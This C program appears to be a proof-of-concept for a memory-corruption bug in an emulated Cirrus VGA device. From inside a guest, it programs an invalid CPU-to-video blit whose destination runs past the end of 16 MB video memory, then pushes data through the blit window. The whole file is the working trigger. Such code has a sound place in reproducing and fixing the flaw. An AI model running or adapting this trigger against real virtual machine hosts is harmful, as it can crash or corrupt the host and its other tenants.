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#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <sys/io.h>
#include <sys/mman.h>
#include "pci.h"
#include "cirrus.h"
int main(int argc, char *argv[])
{
volatile uint8_t *mmio, *blit;
int i;
find_device("cirrus", 0x1013, 0x00b8);
mmio = mmap_bar(1);
blit = mmap_bar(0);
fprintf(stderr, "init ok\n");
sleep(1);
cirrus_setmode(mmio);
fprintf(stderr, "trying invalid cpu-to-video blit\n");
mmio[BLT_OFFSET + CIRRUS_MMIO_BLTSTATUS] = CIRRUS_BLT_RESET;
mmio[BLT_OFFSET + CIRRUS_MMIO_BLTSTATUS] = 0x00;
#if 0
*(uint16_t*)(mmio + BLT_OFFSET + CIRRUS_MMIO_BLTWIDTH) = 1024 * 3 - 1;
*(uint16_t*)(mmio + BLT_OFFSET + CIRRUS_MMIO_BLTHEIGHT) = 1 - 1;
*(uint16_t*)(mmio + BLT_OFFSET + CIRRUS_MMIO_BLTDESTPITCH) = 1024 * 3;
*(uint16_t*)(mmio + BLT_OFFSET + CIRRUS_MMIO_BLTSRCPITCH) = 1024 * 3;
*(uint32_t*)(mmio + BLT_OFFSET + CIRRUS_MMIO_BLTDESTADDR) = 16 * 1024 * 1024 - 1;
*(uint32_t*)(mmio + BLT_OFFSET + CIRRUS_MMIO_BLTSRCADDR) = 0;
#else
*(uint16_t*)(mmio + BLT_OFFSET + CIRRUS_MMIO_BLTWIDTH) = 3 - 1;
*(uint16_t*)(mmio + BLT_OFFSET + CIRRUS_MMIO_BLTHEIGHT) = 1024 * 7 - 1;
*(uint16_t*)(mmio + BLT_OFFSET + CIRRUS_MMIO_BLTDESTPITCH) = 1024 * 3;
*(uint16_t*)(mmio + BLT_OFFSET + CIRRUS_MMIO_BLTSRCPITCH) = 1024 * 3;
*(uint32_t*)(mmio + BLT_OFFSET + CIRRUS_MMIO_BLTDESTADDR) = 16 * 1024 * 1024 - 4;
*(uint32_t*)(mmio + BLT_OFFSET + CIRRUS_MMIO_BLTSRCADDR) = 0;
#endif
mmio[BLT_OFFSET + CIRRUS_MMIO_BLTMODE] =
CIRRUS_BLTMODE_PIXELWIDTH24 | CIRRUS_BLTMODE_MEMSYSSRC;
mmio[BLT_OFFSET + CIRRUS_MMIO_BLTROP] = CIRRUS_ROP_SRC;
mmio[BLT_OFFSET + CIRRUS_MMIO_BLTMODEEXT] = 0;
mmio[BLT_OFFSET + CIRRUS_MMIO_BLTSTATUS] = CIRRUS_BLT_START;
fprintf(stderr, "setup done\n");
sleep(1);
for (i = 0; i < 1024 * 7 * 3; i++)
blit[i] = 0;
fprintf(stderr, "blit done\n");
sleep(1);
exit(0);
}
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